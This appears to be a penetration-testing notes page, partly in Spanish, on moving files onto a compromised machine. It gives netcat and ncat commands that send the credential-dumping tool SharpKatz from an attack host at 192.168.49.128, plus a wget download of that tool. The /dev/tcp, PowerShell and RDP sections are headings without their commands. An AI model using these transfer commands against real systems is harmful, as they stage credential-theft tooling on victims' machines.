Miscellaneous File Transfer Methods

Netcat

NetCat - Compromised Machine - Listening on Port 8000

 nc -l -p 8000 > SharpKatz.exe

Ncat - Compromised Machine - Listening on Port 8000

ncat -l -p 8000 --recv-only > SharpKatz.exe

Netcat - Attack Host - Sending File to Compromised machine

wget -q https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_x64/SharpKatz.exe

# Example using Original Netcat
nc -q 0 192.168.49.128 8000 < SharpKatz.exe
wget -q https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_x64/SharpKatz.exe
# Example using Ncat
ncat --send-only 192.168.49.128 8000 < SharpKatz.exe

Attack Host - Sending File as Input to Netcat

sudo nc -l -p 443 -q 0 < SharpKatz.exe

Compromised Machine Connect to Netcat to Receive the File

nc 192.168.49.128 443 > SharpKatz.exe

Hagamos lo mismo con Ncat:

Attack Host - Sending File as Input to Ncat

Compromised Machine Connect to Ncat to Receive the File

Si no tenemos Netcat o Ncat en nuestra máquina comprometida, Bash admite operaciones de lectura/escritura en un archivo de pseudo-dispositivo /dev/TCP/arrow-up-right .

Escribir en este archivo en particular hace que Bash abra una conexión TCP a host:port, y esta función puede usarse para transferencias de archivos.

NetCat - Sending File as Input to Netcat

Ncat - Sending File as Input to Netcat

Compromised Machine Connecting to Netcat Using /dev/tcp to Receive the File

PowerShell Session File Transfer

From DC01 - Confirm WinRM port TCP 5985 is Open on DATABASE01.

Create a PowerShell Remoting Session to DATABASE01

Copy samplefile.txt from our Localhost to the DATABASE01 Session

Copy DATABASE.txt from DATABASE01 Session to our Localhost

RDP

Mounting a Linux Folder Using rdesktop

Mounting a Linux Folder Using xfreerdp

Para acceder al directorio, podemos conectarnos a \\tsclient\, lo que nos permitirá transferir archivos hacia y desde la sesión RDP.

Last updated